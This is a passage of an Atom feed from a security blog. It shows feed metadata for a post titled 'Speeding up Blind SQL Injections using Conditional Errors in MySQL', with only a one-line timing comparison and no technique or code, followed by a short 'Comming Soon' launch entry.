&quot;Result : 30 secs for the binary masks version, 10 secs for the REGEXP version on the same SQL query.&quot;&lt;br/&gt;</content><link rel='replies' type='application/atom+xml' href='http://ha.xxor.se/feeds/2200136889686751510/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ha.xxor.se/2011/06/speeding-up-blind-sql-injections-using.html#comment-form' title='37 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2830206898979206277/posts/default/2200136889686751510'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2830206898979206277/posts/default/2200136889686751510'/><link rel='alternate' type='text/html' href='http://ha.xxor.se/2011/06/speeding-up-blind-sql-injections-using.html' title='Speeding up Blind SQL Injections using Conditional Errors in MySQL'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>37</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2830206898979206277.post-2575509405948492213</id><published>2011-06-20T13:42:00.003+02:00</published><updated>2011-06-21T02:45:53.739+02:00</updated><title type='text'>Comming Soon</title><content type='html'>I&#39;ll be launching this blog with it&#39;s first post in a couple of days. Stay tuned.</content><link rel='replies' type='application/atom+xml' href='http://ha.xxor.se/feeds/2575509405948492213/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ha.xxor.se/2011/06/comming-soon.html#comment-form' title='17 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2830206898979206277/posts/default/2575509405948492213'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2830206898979206277/posts/default/2575509405948492213'/><link rel='alternate' type='text/html' href='http://ha.xxor.se/2011/06/comming-soon.html' title='Comming Soon'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>17</thr:total></entry></feed>